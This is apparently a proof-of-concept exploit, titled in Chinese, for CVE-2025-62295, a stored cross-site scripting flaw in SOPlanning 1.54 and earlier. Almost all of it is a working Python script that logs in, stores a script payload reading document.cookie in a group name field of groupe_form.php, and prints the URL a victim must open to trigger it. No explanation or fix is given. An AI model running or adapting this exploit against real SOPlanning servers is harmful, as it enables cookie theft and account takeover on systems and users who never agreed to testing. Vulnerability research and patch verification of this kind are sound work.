CVE-2025-62295 SOPlanning存储型XSS漏洞

import requests import re # CVE-2025-62295 PoC - Stored XSS in SOPlanning /groupe_form # Target: SOPlanning <= 1.54 TARGET_URL = "http://target.com/soplanning" USERNAME = "attacker" PASSWORD = "password123" session = requests.Session() # Step 1: Login login_url = f"{TARGET_URL}/login.php" login_data = { "login": USERNAME, "password": PASSWORD } resp = session.post(login_url, data=login_data) # Step 2: Inject XSS payload via /groupe_form endpoint xss_payload = "<script>alert(document.cookie)</script>" form_url = f"{TARGET_URL}/groupe_form.php" form_data = { "group_name": xss_payload, "submit": "Save" } resp = session.post(form_url, data=form_data) # Step 3: Trigger XSS when victim opens the editor trigger_url = f"{TARGET_URL}/groupe_form.php?id=1" print(f"[*] PoC deployed. Victim should visit: {trigger_url}") print(f"[*] XSS Payload: {xss_payload}")